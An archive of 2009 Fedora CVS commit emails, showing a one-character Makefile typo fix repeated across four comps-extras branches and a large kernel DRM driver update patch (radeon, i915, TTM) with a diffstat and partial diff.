From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:21 +0000 (UTC)
Subject: rpms/comps-extras/F-12 Makefile,1.2,1.3
Message-ID: <20091028041421.F154611C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/comps-extras/F-12
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/comps-extras/F-12

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/comps-extras/F-12/Makefile,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- Makefile	15 Oct 2007 18:40:02 -0000	1.2
+++ Makefile	28 Oct 2009 04:14:21 -0000	1.3
@@ -4,7 +4,7 @@ NAME := comps-extras
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:22 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:22 +0000 (UTC)
Subject: rpms/comps-extras/F-8 Makefile,1.2,1.3
Message-ID: <20091028041422.7BC6711C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/comps-extras/F-8
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/comps-extras/F-8

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/comps-extras/F-8/Makefile,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- Makefile	15 Oct 2007 18:40:02 -0000	1.2
+++ Makefile	28 Oct 2009 04:14:21 -0000	1.3
@@ -4,7 +4,7 @@ NAME := comps-extras
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:22 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:22 +0000 (UTC)
Subject: rpms/comps-extras/F-9 Makefile,1.2,1.3
Message-ID: <20091028041422.E596111C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/comps-extras/F-9
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/comps-extras/F-9

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/comps-extras/F-9/Makefile,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- Makefile	15 Oct 2007 18:40:02 -0000	1.2
+++ Makefile	28 Oct 2009 04:14:22 -0000	1.3
@@ -4,7 +4,7 @@ NAME := comps-extras
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:23 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:23 +0000 (UTC)
Subject: rpms/comps-extras/devel Makefile,1.2,1.3
Message-ID: <20091028041423.6C68911C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/comps-extras/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/comps-extras/devel

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/comps-extras/devel/Makefile,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- Makefile	15 Oct 2007 18:40:02 -0000	1.2
+++ Makefile	28 Oct 2009 04:14:23 -0000	1.3
@@ -4,7 +4,7 @@ NAME := comps-extras
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From airlied at fedoraproject.org  Wed Oct 28 05:59:34 2009
From: airlied at fedoraproject.org (Dave Airlie)
Date: Wed, 28 Oct 2009 05:59:34 +0000 (UTC)
Subject: rpms/kernel/F-12 drm-next-fc7f7119.patch, NONE,
	1.1 drm-radeon-kms-arbiter-return-ignore.patch, NONE,
	1.1 kernel.spec, 1.1888, 1.1889 drm-next-3e5cb98d.patch, 1.1, NONE
Message-ID: <20091028055934.4878D11C00E5@cvs1.fedora.phx.redhat.com>

Author: airlied

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17732

Modified Files:
	kernel.spec 
Added Files:
	drm-next-fc7f7119.patch 
	drm-radeon-kms-arbiter-return-ignore.patch 
Removed Files:
	drm-next-3e5cb98d.patch 
Log Message:
* Wed Oct 28 2009 Dave Airlie <airlied at redhat.com> 2.6.31.5-103
- drm-next-fc7f7119.patch: fix oops in SS code, fix multi-card, dvo.
- drm-radeon-kms-arbiter-return-ignore.patch: fix arbiter for non-VGA display


drm-next-fc7f7119.patch:
 b/drivers/gpu/drm/Kconfig                         |   18 
 b/drivers/gpu/drm/Makefile                        |    8 
 b/drivers/gpu/drm/drm_bufs.c                      |    4 
 b/drivers/gpu/drm/drm_cache.c                     |   46 
 b/drivers/gpu/drm/drm_crtc.c                      |   78 
 b/drivers/gpu/drm/drm_crtc_helper.c               |  307 
 b/drivers/gpu/drm/drm_drv.c                       |    4 
 b/drivers/gpu/drm/drm_edid.c                      |  551 
 b/drivers/gpu/drm/drm_encoder_slave.c             |  116 
 b/drivers/gpu/drm/drm_fb_helper.c                 | 1030 
 b/drivers/gpu/drm/drm_gem.c                       |   11 
 b/drivers/gpu/drm/drm_mm.c                        |   21 
 b/drivers/gpu/drm/drm_modes.c                     |  434 
 b/drivers/gpu/drm/drm_proc.c                      |   17 
 b/drivers/gpu/drm/drm_sysfs.c                     |   28 
 b/drivers/gpu/drm/i915/Makefile                   |    2 
 b/drivers/gpu/drm/i915/i915_debugfs.c             |  445 
 b/drivers/gpu/drm/i915/i915_dma.c                 |  100 
 b/drivers/gpu/drm/i915/i915_drv.c                 |    9 
 b/drivers/gpu/drm/i915/i915_drv.h                 |   62 
 b/drivers/gpu/drm/i915/i915_gem.c                 |   14 
 b/drivers/gpu/drm/i915/i915_gem_tiling.c          |   65 
 b/drivers/gpu/drm/i915/i915_irq.c                 |   21 
 b/drivers/gpu/drm/i915/i915_reg.h                 |  139 
 b/drivers/gpu/drm/i915/i915_suspend.c             |    4 
 b/drivers/gpu/drm/i915/intel_bios.c               |    8 
 b/drivers/gpu/drm/i915/intel_crt.c                |   28 
 b/drivers/gpu/drm/i915/intel_display.c            |  608 
 b/drivers/gpu/drm/i915/intel_drv.h                |    9 
 b/drivers/gpu/drm/i915/intel_fb.c                 |  748 
 b/drivers/gpu/drm/i915/intel_i2c.c                |    8 
 b/drivers/gpu/drm/i915/intel_lvds.c               |   22 
 b/drivers/gpu/drm/i915/intel_sdvo.c               |  239 
 b/drivers/gpu/drm/i915/intel_tv.c                 |   30 
 b/drivers/gpu/drm/mga/mga_dma.c                   |    4 
 b/drivers/gpu/drm/mga/mga_drv.h                   |    1 
 b/drivers/gpu/drm/mga/mga_warp.c                  |  180 
 b/drivers/gpu/drm/r128/r128_cce.c                 |  116 
 b/drivers/gpu/drm/r128/r128_drv.h                 |    8 
 b/drivers/gpu/drm/r128/r128_state.c               |   36 
 b/drivers/gpu/drm/radeon/.gitignore               |    3 
 b/drivers/gpu/drm/radeon/Kconfig                  |    1 
 b/drivers/gpu/drm/radeon/Makefile                 |   43 
 b/drivers/gpu/drm/radeon/atombios.h               |   13 
 b/drivers/gpu/drm/radeon/atombios_crtc.c          |  359 
 b/drivers/gpu/drm/radeon/avivod.h                 |   60 
 b/drivers/gpu/drm/radeon/mkregtable.c             |  720 
 b/drivers/gpu/drm/radeon/r100.c                   | 1737 +
 b/drivers/gpu/drm/radeon/r100_track.h             |  183 
 b/drivers/gpu/drm/radeon/r100d.h                  |  714 
 b/drivers/gpu/drm/radeon/r200.c                   |  454 
 b/drivers/gpu/drm/radeon/r300.c                   |  981 
 b/drivers/gpu/drm/radeon/r300d.h                  |  306 
 b/drivers/gpu/drm/radeon/r420.c                   |  305 
 b/drivers/gpu/drm/radeon/r420d.h                  |  249 
 b/drivers/gpu/drm/radeon/r500_reg.h               |   12 
 b/drivers/gpu/drm/radeon/r520.c                   |  281 
 b/drivers/gpu/drm/radeon/r520d.h                  |  187 
 b/drivers/gpu/drm/radeon/r600.c                   | 1838 +
 b/drivers/gpu/drm/radeon/r600_blit.c              |  858 
 b/drivers/gpu/drm/radeon/r600_blit_kms.c          |  805 
 b/drivers/gpu/drm/radeon/r600_blit_shaders.c      | 1072 +
 b/drivers/gpu/drm/radeon/r600_blit_shaders.h      |   14 
 b/drivers/gpu/drm/radeon/r600_cp.c                |  541 
 b/drivers/gpu/drm/radeon/r600_cs.c                |  783 
 b/drivers/gpu/drm/radeon/r600d.h                  |  666 
 b/drivers/gpu/drm/radeon/radeon.h                 |  441 
 b/drivers/gpu/drm/radeon/radeon_asic.h            |  351 
 b/drivers/gpu/drm/radeon/radeon_atombios.c        |  299 
 b/drivers/gpu/drm/radeon/radeon_benchmark.c       |    4 
 b/drivers/gpu/drm/radeon/radeon_bios.c            |   49 
 b/drivers/gpu/drm/radeon/radeon_clocks.c          |   18 
 b/drivers/gpu/drm/radeon/radeon_combios.c         |  187 
 b/drivers/gpu/drm/radeon/radeon_connectors.c      |  646 
 b/drivers/gpu/drm/radeon/radeon_cp.c              |  151 
 b/drivers/gpu/drm/radeon/radeon_cs.c              |  104 
 b/drivers/gpu/drm/radeon/radeon_cursor.c          |   10 
 b/drivers/gpu/drm/radeon/radeon_device.c          |  332 
 b/drivers/gpu/drm/radeon/radeon_display.c         |  168 
 b/drivers/gpu/drm/radeon/radeon_drv.c             |   28 
 b/drivers/gpu/drm/radeon/radeon_drv.h             |  216 
 b/drivers/gpu/drm/radeon/radeon_encoders.c        |  223 
 b/drivers/gpu/drm/radeon/radeon_family.h          |   97 
 b/drivers/gpu/drm/radeon/radeon_fb.c              |  694 
 b/drivers/gpu/drm/radeon/radeon_fence.c           |   49 
 b/drivers/gpu/drm/radeon/radeon_gart.c            |   29 
 b/drivers/gpu/drm/radeon/radeon_ioc32.c           |   15 
 b/drivers/gpu/drm/radeon/radeon_irq.c             |   18 
 b/drivers/gpu/drm/radeon/radeon_irq_kms.c         |   16 
 b/drivers/gpu/drm/radeon/radeon_kms.c             |   74 
 b/drivers/gpu/drm/radeon/radeon_legacy_crtc.c     |  126 
 b/drivers/gpu/drm/radeon/radeon_legacy_encoders.c |  392 
 b/drivers/gpu/drm/radeon/radeon_legacy_tv.c       |  904 
 b/drivers/gpu/drm/radeon/radeon_mode.h            |  105 
 b/drivers/gpu/drm/radeon/radeon_object.c          |   27 
 b/drivers/gpu/drm/radeon/radeon_object.h          |    1 
 b/drivers/gpu/drm/radeon/radeon_reg.h             |   86 
 b/drivers/gpu/drm/radeon/radeon_ring.c            |  143 
 b/drivers/gpu/drm/radeon/radeon_state.c           |   23 
 b/drivers/gpu/drm/radeon/radeon_test.c            |    6 
 b/drivers/gpu/drm/radeon/radeon_ttm.c             |   95 
 b/drivers/gpu/drm/radeon/reg_srcs/r100            |  105 
 b/drivers/gpu/drm/radeon/reg_srcs/r200            |  184 
 b/drivers/gpu/drm/radeon/reg_srcs/r300            |  729 
 b/drivers/gpu/drm/radeon/reg_srcs/rn50            |   30 
 b/drivers/gpu/drm/radeon/reg_srcs/rs600           |  729 
 b/drivers/gpu/drm/radeon/reg_srcs/rv515           |  486 
 b/drivers/gpu/drm/radeon/rs100d.h                 |   40 
 b/drivers/gpu/drm/radeon/rs400.c                  |  329 
 b/drivers/gpu/drm/radeon/rs400d.h                 |  160 
 b/drivers/gpu/drm/radeon/rs600.c                  |  609 
 b/drivers/gpu/drm/radeon/rs600d.h                 |  470 
 b/drivers/gpu/drm/radeon/rs690.c                  |  358 
 b/drivers/gpu/drm/radeon/rs690d.h                 |  307 
 b/drivers/gpu/drm/radeon/rv200d.h                 |   36 
 b/drivers/gpu/drm/radeon/rv250d.h                 |  123 
 b/drivers/gpu/drm/radeon/rv350d.h                 |   52 
 b/drivers/gpu/drm/radeon/rv515.c                  |  881 
 b/drivers/gpu/drm/radeon/rv515d.h                 |  603 
 b/drivers/gpu/drm/radeon/rv770.c                  | 1056 
 b/drivers/gpu/drm/radeon/rv770d.h                 |  346 
 b/drivers/gpu/drm/ttm/ttm_bo.c                    |  295 
 b/drivers/gpu/drm/ttm/ttm_bo_util.c               |    4 
 b/drivers/gpu/drm/ttm/ttm_global.c                |    6 
 b/drivers/gpu/drm/ttm/ttm_memory.c                |  508 
 b/drivers/gpu/drm/ttm/ttm_module.c                |   58 
 b/drivers/gpu/drm/ttm/ttm_tt.c                    |  104 
 b/drivers/video/fbmem.c                           |    2 
 b/firmware/Makefile                               |   16 
 b/firmware/WHENCE                                 |  121 
 b/firmware/matrox/g200_warp.H16                   |   28 
 b/firmware/matrox/g400_warp.H16                   |   44 
 b/firmware/r128/r128_cce.bin.ihex                 |  129 
 b/firmware/radeon/R100_cp.bin.ihex                |  130 
 b/firmware/radeon/R200_cp.bin.ihex                |  130 
 b/firmware/radeon/R300_cp.bin.ihex                |  130 
 b/firmware/radeon/R420_cp.bin.ihex                |  130 
 b/firmware/radeon/R520_cp.bin.ihex                |  130 
 b/firmware/radeon/R600_me.bin.ihex                | 1345 +
 b/firmware/radeon/R600_pfp.bin.ihex               |  145 
 b/firmware/radeon/RS600_cp.bin.ihex               |  130 
 b/firmware/radeon/RS690_cp.bin.ihex               |  130 
 b/firmware/radeon/RS780_me.bin.ihex               | 1345 +
 b/firmware/radeon/RS780_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV610_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV610_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV620_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV620_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV630_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV630_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV635_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV635_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV670_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV670_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV710_me.bin.ihex               |  341 
 b/firmware/radeon/RV710_pfp.bin.ihex              |  213 
 b/firmware/radeon/RV730_me.bin.ihex               |  341 
 b/firmware/radeon/RV730_pfp.bin.ihex              |  213 
 b/firmware/radeon/RV770_me.bin.ihex               |  341 
 b/firmware/radeon/RV770_pfp.bin.ihex              |  213 
 b/include/drm/drmP.h                              |   54 
 b/include/drm/drm_cache.h                         |   38 
 b/include/drm/drm_crtc.h                          |   28 
 b/include/drm/drm_crtc_helper.h                   |   10 
 b/include/drm/drm_encoder_slave.h                 |  162 
 b/include/drm/drm_fb_helper.h                     |  111 
 b/include/drm/drm_mm.h                            |    7 
 b/include/drm/drm_mode.h                          |   11 
 b/include/drm/drm_pciids.h                        |    4 
 b/include/drm/drm_sysfs.h                         |   12 
 b/include/drm/radeon_drm.h                        |   12 
 b/include/drm/ttm/ttm_bo_api.h                    |   13 
 b/include/drm/ttm/ttm_bo_driver.h                 |   94 
 b/include/drm/ttm/ttm_memory.h                    |   43 
 b/include/drm/ttm/ttm_module.h                    |    2 
 drivers/gpu/drm/i915/i915_gem_debugfs.c           |  396 
 drivers/gpu/drm/mga/mga_ucode.h                   |11645 ----------
 drivers/gpu/drm/radeon/r300.h                     |   36 
 drivers/gpu/drm/radeon/r600_microcode.h           |23297 ----------------------
 drivers/gpu/drm/radeon/radeon_microcode.h         | 1844 -
 drivers/gpu/drm/radeon/radeon_share.h             |   39 
 drivers/gpu/drm/radeon/rs690r.h                   |   99 
 drivers/gpu/drm/radeon/rs780.c                    |  102 
 drivers/gpu/drm/radeon/rv515r.h                   |  170 
 184 files changed, 41270 insertions(+), 43800 deletions(-)

--- NEW FILE drm-next-fc7f7119.patch ---
diff --git a/drivers/gpu/drm/Kconfig b/drivers/gpu/drm/Kconfig
index 39b393d..e4d971c 100644
--- a/drivers/gpu/drm/Kconfig
+++ b/drivers/gpu/drm/Kconfig
@@ -18,6 +18,14 @@ menuconfig DRM
 	  details.  You should also select and configure AGP
 	  (/dev/agpgart) support.
 
+config DRM_KMS_HELPER
+	tristate
+	depends on DRM
+	select FB
+	select FRAMEBUFFER_CONSOLE if !EMBEDDED
+	help
+	  FB and CRTC helpers for KMS drivers.
+
 config DRM_TTM
 	tristate
 	depends on DRM
@@ -36,6 +44,7 @@ config DRM_TDFX
 config DRM_R128
 	tristate "ATI Rage 128"
 	depends on DRM && PCI
+	select FW_LOADER
 	help
 	  Choose this option if you have an ATI Rage 128 graphics card.  If M
 	  is selected, the module will be called r128.  AGP support for
@@ -47,8 +56,9 @@ config DRM_RADEON
 	select FB_CFB_FILLRECT
 	select FB_CFB_COPYAREA
 	select FB_CFB_IMAGEBLIT
-	select FB
-	select FRAMEBUFFER_CONSOLE if !EMBEDDED
+	select FW_LOADER
+        select DRM_KMS_HELPER
+        select DRM_TTM
 	help
 	  Choose this option if you have an ATI Radeon graphics card.  There
 	  are both PCI and AGP versions.  You don't need to choose this to
@@ -82,11 +92,10 @@ config DRM_I830
 config DRM_I915
 	tristate "i915 driver"
 	depends on AGP_INTEL
+	select DRM_KMS_HELPER
 	select FB_CFB_FILLRECT
 	select FB_CFB_COPYAREA
 	select FB_CFB_IMAGEBLIT
-	select FB
-	select FRAMEBUFFER_CONSOLE if !EMBEDDED
 	# i915 depends on ACPI_VIDEO when ACPI is enabled
 	# but for select to work, need to select ACPI_VIDEO's dependencies, ick
 	select VIDEO_OUTPUT_CONTROL if ACPI
@@ -116,6 +125,7 @@ endchoice
 config DRM_MGA
 	tristate "Matrox g200/g400"
 	depends on DRM
+	select FW_LOADER
 	help
 	  Choose this option if you have a Matrox G200, G400 or G450 graphics
 	  card.  If M is selected, the module will be called mga.  AGP
diff --git a/drivers/gpu/drm/Makefile b/drivers/gpu/drm/Makefile
index fe23f29..3c8827a 100644
--- a/drivers/gpu/drm/Makefile
+++ b/drivers/gpu/drm/Makefile
@@ -10,11 +10,15 @@ drm-y       :=	drm_auth.o drm_bufs.o drm_cache.o \
 		drm_lock.o drm_memory.o drm_proc.o drm_stub.o drm_vm.o \
 		drm_agpsupport.o drm_scatter.o ati_pcigart.o drm_pci.o \
 		drm_sysfs.o drm_hashtab.o drm_sman.o drm_mm.o \
-		drm_crtc.o drm_crtc_helper.o drm_modes.o drm_edid.o \
-		drm_info.o drm_debugfs.o
+		drm_crtc.o drm_modes.o drm_edid.o \
+		drm_info.o drm_debugfs.o drm_encoder_slave.o
 
 drm-$(CONFIG_COMPAT) += drm_ioc32.o
 
+drm_kms_helper-y := drm_fb_helper.o drm_crtc_helper.o
+
+obj-$(CONFIG_DRM_KMS_HELPER) += drm_kms_helper.o
+
 obj-$(CONFIG_DRM)	+= drm.o
 obj-$(CONFIG_DRM_TTM)	+= ttm/
 obj-$(CONFIG_DRM_TDFX)	+= tdfx/
diff --git a/drivers/gpu/drm/drm_bufs.c b/drivers/gpu/drm/drm_bufs.c
index 6246e3f..3d09e30 100644
--- a/drivers/gpu/drm/drm_bufs.c
+++ b/drivers/gpu/drm/drm_bufs.c
@@ -310,10 +310,10 @@ static int drm_addmap_core(struct drm_device * dev, resource_size_t offset,
 			  (unsigned long long)map->offset, map->size);
 
 		break;
+	}
 	case _DRM_GEM:
-		DRM_ERROR("tried to rmmap GEM object\n");
+		DRM_ERROR("tried to addmap GEM object\n");
 		break;
-	}
 	case _DRM_SCATTER_GATHER:
 		if (!dev->sg) {
 			kfree(map);
diff --git a/drivers/gpu/drm/drm_cache.c b/drivers/gpu/drm/drm_cache.c
index 0e994a0..0e3bd5b 100644
--- a/drivers/gpu/drm/drm_cache.c
+++ b/drivers/gpu/drm/drm_cache.c
@@ -45,6 +45,23 @@ drm_clflush_page(struct page *page)
 		clflush(page_virtual + i);
 	kunmap_atomic(page_virtual, KM_USER0);
 }
+
+static void drm_cache_flush_clflush(struct page *pages[],
+				    unsigned long num_pages)
+{
+	unsigned long i;
+
+	mb();
+	for (i = 0; i < num_pages; i++)
+		drm_clflush_page(*pages++);
+	mb();
+}
+
+static void
+drm_clflush_ipi_handler(void *null)
+{
+	wbinvd();
+}
 #endif
 
 void
@@ -53,17 +70,30 @@ drm_clflush_pages(struct page *pages[], unsigned long num_pages)
 
 #if defined(CONFIG_X86)
 	if (cpu_has_clflush) {
-		unsigned long i;
-
-		mb();
-		for (i = 0; i < num_pages; ++i)
-			drm_clflush_page(*pages++);
-		mb();
-
+		drm_cache_flush_clflush(pages, num_pages);
 		return;
 	}
 
-	wbinvd();
+	if (on_each_cpu(drm_clflush_ipi_handler, NULL, 1) != 0)
+		printk(KERN_ERR "Timed out waiting for cache flush.\n");
+
+#elif defined(__powerpc__)
+	unsigned long i;
+	for (i = 0; i < num_pages; i++) {
+		struct page *page = pages[i];
+		void *page_virtual;
+
+		if (unlikely(page == NULL))
+			continue;
+
+		page_virtual = kmap_atomic(page, KM_USER0);
+		flush_dcache_range((unsigned long)page_virtual,
+				   (unsigned long)page_virtual + PAGE_SIZE);
+		kunmap_atomic(page_virtual, KM_USER0);
+	}
+#else
+	printk(KERN_ERR "Architecture has no drm_cache.c support\n");
+	WARN_ON_ONCE(1);
 #endif
 }
 EXPORT_SYMBOL(drm_clflush_pages);
diff --git a/drivers/gpu/drm/drm_crtc.c b/drivers/gpu/drm/drm_crtc.c
index 2f631c7..5cae0b3 100644
--- a/drivers/gpu/drm/drm_crtc.c
+++ b/drivers/gpu/drm/drm_crtc.c
@@ -68,10 +68,10 @@ DRM_ENUM_NAME_FN(drm_get_dpms_name, drm_dpms_enum_list)
  */
 static struct drm_prop_enum_list drm_scaling_mode_enum_list[] =
 {
-	{ DRM_MODE_SCALE_NON_GPU, "Non-GPU" },
-	{ DRM_MODE_SCALE_FULLSCREEN, "Fullscreen" },
-	{ DRM_MODE_SCALE_NO_SCALE, "No scale" },
-	{ DRM_MODE_SCALE_ASPECT, "Aspect" },
+	{ DRM_MODE_SCALE_NONE, "None" },
+	{ DRM_MODE_SCALE_FULLSCREEN, "Full" },
+	{ DRM_MODE_SCALE_CENTER, "Center" },
+	{ DRM_MODE_SCALE_ASPECT, "Full aspect" },
 };
 
 static struct drm_prop_enum_list drm_dithering_mode_enum_list[] =
@@ -108,6 +108,7 @@ static struct drm_prop_enum_list drm_tv_select_enum_list[] =
 	{ DRM_MODE_SUBCONNECTOR_Composite, "Composite" }, /* TV-out */
 	{ DRM_MODE_SUBCONNECTOR_SVIDEO,    "SVIDEO"    }, /* TV-out */
 	{ DRM_MODE_SUBCONNECTOR_Component, "Component" }, /* TV-out */
+	{ DRM_MODE_SUBCONNECTOR_SCART,     "SCART"     }, /* TV-out */
 };
 
 DRM_ENUM_NAME_FN(drm_get_tv_select_name, drm_tv_select_enum_list)
@@ -118,6 +119,7 @@ static struct drm_prop_enum_list drm_tv_subconnector_enum_list[] =
 	{ DRM_MODE_SUBCONNECTOR_Composite, "Composite" }, /* TV-out */
 	{ DRM_MODE_SUBCONNECTOR_SVIDEO,    "SVIDEO"    }, /* TV-out */
 	{ DRM_MODE_SUBCONNECTOR_Component, "Component" }, /* TV-out */
+	{ DRM_MODE_SUBCONNECTOR_SCART,     "SCART"     }, /* TV-out */
 };
[...93468 lines suppressed...]
+ */
+
+struct ttm_bo_global {
+
+	/**
+	 * Constant after init.
+	 */
+
+	struct kobject kobj;
+	struct ttm_mem_global *mem_glob;
+	struct page *dummy_read_page;
+	struct ttm_mem_shrink shrink;
+	size_t ttm_bo_extra_size;
+	size_t ttm_bo_size;
+	struct mutex device_list_mutex;
+	spinlock_t lru_lock;
+
+	/**
+	 * Protected by device_list_mutex.
+	 */
+	struct list_head device_list;
+
+	/**
+	 * Protected by the lru_lock.
+	 */
+	struct list_head swap_lru;
+
+	/**
+	 * Internal protection.
+	 */
+	atomic_t bo_count;
+};
+
+
+#define TTM_NUM_MEM_TYPES 8
+
+#define TTM_BO_PRIV_FLAG_MOVING  0	/* Buffer object is moving and needs
+					   idling before CPU mapping */
+#define TTM_BO_PRIV_FLAG_MAX 1
+/**
+ * struct ttm_bo_device - Buffer object driver device-specific data.
+ *
+ * @driver: Pointer to a struct ttm_bo_driver struct setup by the driver.
  * @man: An array of mem_type_managers.
  * @addr_space_mm: Range manager for the device address space.
  * lru_lock: Spinlock that protects the buffer+device lru lists and
@@ -399,32 +449,21 @@ struct ttm_bo_device {
 	/*
 	 * Constant after bo device init / atomic.
 	 */
-
-	struct ttm_mem_global *mem_glob;
+	struct list_head device_list;
+	struct ttm_bo_global *glob;
 	struct ttm_bo_driver *driver;
-	struct page *dummy_read_page;
-	struct ttm_mem_shrink shrink;
-
-	size_t ttm_bo_extra_size;
-	size_t ttm_bo_size;
-
 	rwlock_t vm_lock;
+	struct ttm_mem_type_manager man[TTM_NUM_MEM_TYPES];
 	/*
 	 * Protected by the vm lock.
 	 */
-	struct ttm_mem_type_manager man[TTM_NUM_MEM_TYPES];
 	struct rb_root addr_space_rb;
 	struct drm_mm addr_space_mm;
 
 	/*
-	 * Might want to change this to one lock per manager.
-	 */
-	spinlock_t lru_lock;
-	/*
-	 * Protected by the lru lock.
+	 * Protected by the global:lru lock.
 	 */
 	struct list_head ddestroy;
-	struct list_head swap_lru;
 
 	/*
 	 * Protected by load / firstopen / lastclose /unload sync.
@@ -640,6 +679,9 @@ extern int ttm_bo_pci_offset(struct ttm_bo_device *bdev,
 			     unsigned long *bus_offset,
 			     unsigned long *bus_size);
 
+extern void ttm_bo_global_release(struct ttm_global_reference *ref);
+extern int ttm_bo_global_init(struct ttm_global_reference *ref);
+
 extern int ttm_bo_device_release(struct ttm_bo_device *bdev);
 
 /**
@@ -657,7 +699,7 @@ extern int ttm_bo_device_release(struct ttm_bo_device *bdev);
  * !0: Failure.
  */
 extern int ttm_bo_device_init(struct ttm_bo_device *bdev,
-			      struct ttm_mem_global *mem_glob,
+			      struct ttm_bo_global *glob,
 			      struct ttm_bo_driver *driver,
 			      uint64_t file_page_offset, bool need_dma32);
 
diff --git a/include/drm/ttm/ttm_memory.h b/include/drm/ttm/ttm_memory.h
index d8b8f04..6983a7c 100644
--- a/include/drm/ttm/ttm_memory.h
+++ b/include/drm/ttm/ttm_memory.h
@@ -32,6 +32,7 @@
 #include <linux/spinlock.h>
 #include <linux/wait.h>
 #include <linux/errno.h>
+#include <linux/kobject.h>
 
 /**
  * struct ttm_mem_shrink - callback to shrink TTM memory usage.
@@ -60,34 +61,33 @@ struct ttm_mem_shrink {
  * @queue: Wait queue for processes suspended waiting for memory.
  * @lock: Lock to protect the @shrink - and the memory accounting members,
  * that is, essentially the whole structure with some exceptions.
- * @emer_memory: Lowmem memory limit available for root.
- * @max_memory: Lowmem memory limit available for non-root.
- * @swap_limit: Lowmem memory limit where the shrink workqueue kicks in.
- * @used_memory: Currently used lowmem memory.
- * @used_total_memory: Currently used total (lowmem + highmem) memory.
- * @total_memory_swap_limit: Total memory limit where the shrink workqueue
- * kicks in.
- * @max_total_memory: Total memory available to non-root processes.
- * @emer_total_memory: Total memory available to root processes.
+ * @zones: Array of pointers to accounting zones.
+ * @num_zones: Number of populated entries in the @zones array.
+ * @zone_kernel: Pointer to the kernel zone.
+ * @zone_highmem: Pointer to the highmem zone if there is one.
+ * @zone_dma32: Pointer to the dma32 zone if there is one.
  *
  * Note that this structure is not per device. It should be global for all
  * graphics devices.
  */
 
